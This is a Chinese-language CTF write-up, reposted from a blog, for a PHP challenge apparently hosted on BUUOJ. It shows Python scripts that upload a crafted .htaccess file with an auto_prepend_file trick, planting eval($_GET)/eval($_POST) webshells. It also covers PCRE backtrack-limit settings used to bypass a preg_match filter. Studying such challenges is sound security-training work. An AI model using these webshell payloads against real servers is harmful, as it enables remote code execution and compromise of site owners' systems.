参考的文章,看最下面的那两篇就是了
总体:
这些方法看起来很棒,其实我感觉这都是参赛者当时 细心看PHP文档才发现的,而我辈现在直接看他们的现成的东西,如此巧妙的方法之下,是大佬们细心找到的bug点,其实真正应该习得的是认真看文档的能力,从很多的配置信息中找到我们能够利用的 点这个才是真正的能力
一、自己做:
做个毛,做,这个题是我能做出来的???
没有个数,看WP去,,
这个 正则,文件名开头不能是 字母开头,又不能是数字,那就只能够是.
了啊,再看一下黑名单???防止马的黑名单是这个吗??
没见过的黑名单,那就是上传.htaccess
了啊,
二、学到的&&不足:
1. python 上传.htaccess时的\问题
注意在用python传入的时候,这个用一个\
,是不行的,在python中的\
和Linux中的一样也是 连接两行的意思,
我们这里需要两个\\
,这样转义一下,才行
这样才行一个%5c
,一个%0A
,就对了,
2. 关于.htaccess解析错误时
当.htaccess
文件解析出现问题时,网站会爆出 500 的错误码,然后我们怎么知道是那里错了呢?
可以查看apache的错误日志/var/log/apache2/arror.log
就能够看到哪里的错误了,
3. python 上传 .htaccess时,注释符# 的问题!在字符串中进行传输# 也会当作注释符!!
这个注释符#
恰巧也是 python
的注释符,~!!!
这了如果不将#
先一步进行url编码的话,就会当作python的注释符,然后后面的内容就不会输入到.htaccess
中去了,尽管是在 一个字符串中!!!!
如果是#
的话,效果就是这样,后面的直接没有了,
将#
编码一下,不让python当作它的注释符就好了,又因为是get传输,那么正好就url编码一下上传,如下:
import requests
content='''php_value auto_prepend_fi\\
le ".htaccess"
%23<?php eval($_GET[a]);?>\\'''
url = "http://host/?filename=.htaccess&content={}".format(content)
res = requests.get(url=url)
print(res.url)
print(res.text)
这个注释符#
恰巧也是 python
的注释符,~!!!
这个时正确的时候,但是我还是有点小疑问,,这个我用\
连接起来了,不是不是,应该是 转移掉了\n
了把,但是我本地这里,明显没有转义成功啊,
但是还是正确执行了,我的马,那么就是 这个反斜杠并没有当作转移符号,来转义那个\n
。而是到了.htaccess
中连接起来了两行,这样尽管 另其一行了,但是 连接上了,就也算到了 上一行的注释中去了,
上面的那个理论我验证一下就好了
如下:
运行一个PHP文件,没有爆500,也就是说.htaccess·
,没有问题,那么我们上述的猜想就是正确的了,
三、学习WP:
1. 非预期:
就是我上面分析的这个,
payload上面说了,这里就不说了
import requests
# %23 是# 的url编码,防止python把自己注释了
#\\ , 两个\\上传上去就是 一个 \
content='''php_value auto_prepend_fi\\
le ".htaccess"
%23<?php eval($_POST[cmd]);?>\\'''
url = "http://70683073-ad5d-4edc-ae61-5da1f665cb76.node3.buuoj.cn/?filename=.htaccess&content={}".format(content)
res = requests.get(url=url)
print(res.url)
print(res.text)
2. 预期解2:
总体:
这些方法看起来很棒,其实我感觉这都是参赛者当时 细心看PHP文档才发现的,而我辈现在直接看他们的现成的东西,其实真正应该习得的是认真看文档的能力,从很多的配置信息中找到我们能够利用的 点这个才是真正的能力
这点我没有注意到
这个正则函数是preg_match()
,P神讲过这个的回调次数的绕过,
我自己也稍微整理过:关于prreg_match()的绕过 ----- %0a ------ 数组 --------preg的回调次数。
然后设置pcre的一些选项可以导致文件名判断失效,从而直接 prepend flag.php
回溯超过100000这么多次就能够绕过了,然后我们直接设置就好了
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
设置上面的这个我懂,但是下面这个为什么设置我就不知道了
啊,这个,,,其实也就是去掉了 那个正则背,,,其实那个正则也就是过滤了file
背,,,那也没啥了啊,,,
这没有成功,,,,出错误,总是报hacker,也就是说并没有绕过正则,,,吐了。。
3. 预期解:
这个预期解,就是跟着思路来做的,给了我们.htaccess
文件,我们能够往里写什么,能够包含到fl3g.php
,然后利用这个PHP文件获得flag。这个才是顺着出题人的思路来的。
那么我就看看.htaccess
能够干一些什么事情。
最后的 垃圾数据会导致.htaccess
解析错误,从而页面爆出500,这个可以用#
进行注释,但是他又有一个换行符\n
,那我们就用\
进行连接行与行,就连接上了,就也是注释了,
就 php_value auto_prepend_file fl3g.php
?,不行的,有正则,过滤file
这个可以绕过,
经测试,最后一行导致的.htaccess
报错的问题可以通过# 来解决。
该文件中有一处include('fl3g,php')
,该文件名不能通过正则匹配所以我们没办法直接利用该文件来getshell。那么还有什么.htaacess
的选项可以利用?
翻一下php的 官方文档php.ini配置选项列表,查找所有可修改范围为PHP_INI_ALL
即PHP_INI_PERDIR
的配置项,我们可以注意到这样一个选项include_path
.
具体操作看这个吧:
https://www.anquanke.com/post/id/185377#h3-6
https://www.cnblogs.com/ophxc/p/13192775.html
编码操作可用iconv,看我的 Linux的博客。
转载:https://blog.csdn.net/Zero_Adam/article/details/115740087